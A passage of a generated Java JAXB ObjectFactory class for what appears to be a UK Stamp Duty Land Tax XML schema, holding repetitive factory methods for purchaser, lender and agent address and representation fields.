Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchRepresented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurchRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchRepresented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchRepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchRepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2Name", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2Name(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2Name_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchaser2Service", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurchaser2Service(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsPurchaser2Service_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServiceEmail", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServiceEmail(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServiceEmail_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServiceHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServiceHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServiceHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServiceHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServiceHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServiceHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServiceAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServiceAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServiceAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServiceAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServiceAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServiceAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServiceAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServiceAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServiceAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServicePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServicePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServicePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServiceDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServiceDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServiceDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purchaser2ServiceDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purchaser2ServiceDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purchaser2ServiceDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurch2Lender", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurch2Lender(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsPurch2Lender_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderName(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderMDCode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderMDCode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderMDCode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderChargeDate", scope = SDLT.AP1 .class) public JAXBElement<String> createSDLTAP1AP1Purch2LenderChargeDate(String value) { return new JAXBElement<String>(_SDLTAP1AP1Purch2LenderChargeDate_QNAME, String.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurch2LenderRepresented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurch2LenderRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsPurch2LenderRepresented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderRepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderRepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgeName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgeName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgeHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgeHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgeHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgeHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgeAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgeAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgeAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgeAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgeAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgeAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgeDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgeDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderLodgeDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderLodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderLodgeDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentPostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentPostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgentDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2HouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2HouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2HouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2HouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2HouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2HouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2Address1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2Address1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2Address1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2Address2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2Address2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2Address2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2Address3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2Address3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2Address3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2Postcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2Postcode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2Postcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2DXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2DXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2DXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgent2DXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorAgent2DXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorAgent2DXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentPostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentPostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgentDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurch2Represented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsPurch2Represented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsPurch2Represented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2RepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2RepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2RepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2HouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2HouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2HouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2HouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2HouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2HouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * 